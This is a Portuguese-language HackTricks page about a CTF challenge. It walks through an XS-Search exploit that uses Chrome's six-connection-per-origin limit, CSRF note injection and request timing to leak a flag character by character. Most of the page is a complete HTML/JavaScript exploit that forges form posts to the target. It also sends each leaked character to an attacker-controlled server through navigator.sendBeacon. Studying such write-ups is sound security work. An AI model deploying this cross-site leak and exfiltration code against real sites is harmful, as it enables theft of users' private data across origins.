hacktricks/pentesting-web/xs-search/connection-pool-by-destination-example.md
2023-06-06 18:56:34 +00:00

8.0 KiB

Exemplo de Pool de Conexão por Destino

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Neste exploit, @terjanq propõe mais uma solução para o desafio mencionado na seguinte página:

{% content-ref url="connection-pool-by-destination-example.md" %} connection-pool-by-destination-example.md {% endcontent-ref %}

Vamos ver como esse exploit funciona:

  • O atacante irá injetar uma nota com o maior número possível de tags <img carregando /js/purify.js (mais de 6 para bloquear a origem).
  • Em seguida, o atacante irá remover a nota com o índice 1.
  • Então, o atacante irá [fazer o bot acessar a página com a nota restante] e enviará uma solicitação para victim.com/js/purify.js que ele irá cronometrar.
    • Se o tempo for maior, a injeção estava na nota restante, se o tempo for menor, a flag estava lá.

{% hint style="info" %} Sinceramente, lendo o script, eu perdi alguma parte em que o atacante faz o bot carregar a página para acionar as tags img, não vejo nada assim no código. {% endhint %}

<html>
    <head>
        <script>
            const SITE_URL = 'https://safelist.ctf.sekai.team/';
            const PING_URL = 'https://myserver';
            function timeScript(){
                return new Promise(resolve => {
                    var x = document.createElement('script');
                    x.src = 'https://safelist.ctf.sekai.team/js/purify.js?' + Math.random();
                    var start = Date.now();
                    x.onerror = () => {
                        console.log(`Time: ${Date.now() - start}`); //Time request
                        resolve(Date.now() - start);
                        x.remove();
                    }
                    document.body.appendChild(x);
                });
            }

            add_note = async (note) => {
                let x = document.createElement('form')
                x.action = SITE_URL + "create"
                x.method = "POST"
                x.target = "xxx"

                let i = document.createElement("input");
                i.type = "text"
                i.name = "text"
                i.value = note
                x.appendChild(i)
                document.body.appendChild(x)
                x.submit()
            }
            
            remove_note = async (note_id) => {
                let x = document.createElement('form')
                x.action = SITE_URL+"remove"
                x.method = "POST"
                x.target = "_blank"

                let i = document.createElement("input");
                i.type = "text"
                i.name = "index"
                i.value = note_id
                x.appendChild(i)
                document.body.appendChild(x)
                x.submit()
            }
            
            const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));
            // }zyxwvutsrqponmlkjihgfedcba_
            const alphabet = 'zyxwvutsrqponmlkjihgfedcba_'
            var prefix = 'SEKAI{xsleakyay';
            const TIMEOUT = 500;
            async function checkLetter(letter){
                // Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js
                // Depending whether we found flag's letter it will either load the images or not.
                // With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char.
                const payload = `${prefix}${letter}` + Array.from(Array(78)).map((e,i)=>`<img/src=/js/purify.js?${i}>`).join('');
                await add_note(payload);
                await sleep(TIMEOUT);
                await timeScript();
                await remove_note(1); //Now, only the note with the flag or with the injection existsh
                await sleep(TIMEOUT);
                const time = await timeScript(); //Find out how much a request to the same origin takes
                navigator.sendBeacon(PING_URL, [letter,time]);
                if(time>100){
                    return 1;
                }
                return 0;
            }
            window.onload = async () => {
                navigator.sendBeacon(PING_URL, 'start');
                // doesnt work because we are removing flag after success.
                // while(1){
                    for(const letter of alphabet){
                        if(await checkLetter(letter)){
                            prefix += letter;
                            navigator.sendBeacon(PING_URL, prefix);
                            break;
                        }
                    }
                // }
            };            
            </script>            
    </head>
    <body>
    </body>
</html>

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥